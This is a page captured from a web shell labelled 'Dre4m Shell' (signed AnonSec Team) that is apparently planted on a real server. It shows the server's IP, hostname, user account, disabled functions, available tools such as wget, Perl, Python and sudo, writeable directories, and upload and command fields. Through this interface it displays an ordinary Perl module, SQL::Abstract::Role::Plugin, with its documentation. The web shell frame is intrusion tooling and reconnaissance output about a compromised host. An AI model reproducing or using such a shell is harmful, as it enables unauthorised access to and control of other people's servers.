Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 52.15.71.146
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/usr/share/perl5/SQL/Abstract/Role/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/usr/share/perl5/SQL/Abstract/Role/Plugin.pm
package SQL::Abstract::Role::Plugin;

use Moo::Role;

has sqla => (
  is => 'ro', init_arg => undef,
  handles => [ qw(
    expand_expr render_aqt join_query_parts
  ) ],
);

sub cb {
  my ($self, $method, @args) = @_;
  return sub {
    local $self->{sqla} = shift;
    $self->$method(@args, @_)
  };
}

sub register {
  my ($self, @pairs) = @_;
  my $sqla = $self->sqla;
  while (my ($method, $cases) = splice(@pairs, 0, 2)) {
    my @cases = @$cases;
    while (my ($name, $case) = splice(@cases, 0, 2)) {
      $sqla->$method($name, $self->cb($case));
    }
  }
  return $self;
}

sub apply_to {
  my ($self, $sqla) = @_;
  $self = $self->new unless ref($self);
  local $self->{sqla} = $sqla;
  $self->register_extensions($sqla);
}

requires 'register_extensions';

1;

__END__

=head1 NAME

SQL::Abstract::Role::Plugin - helpful methods for plugin authors

=head1 METHODS

=head2 apply_to

Applies the plugin to an L<SQL::Abstract> object.

=head2 register_extensions

Provided by the plugin, registers its extensions to the sqla object.

=head2 cb

Creates a callback to call a method on the plugin.

=head2 register

Calls methods on the sqla object with arguments wrapped as callbacks.

=head2 sqla

Available only during plugin callback executions, contains the currently
active L<SQL::Abstract> object.

=cut

Anon7 - 2022
AnonSec Team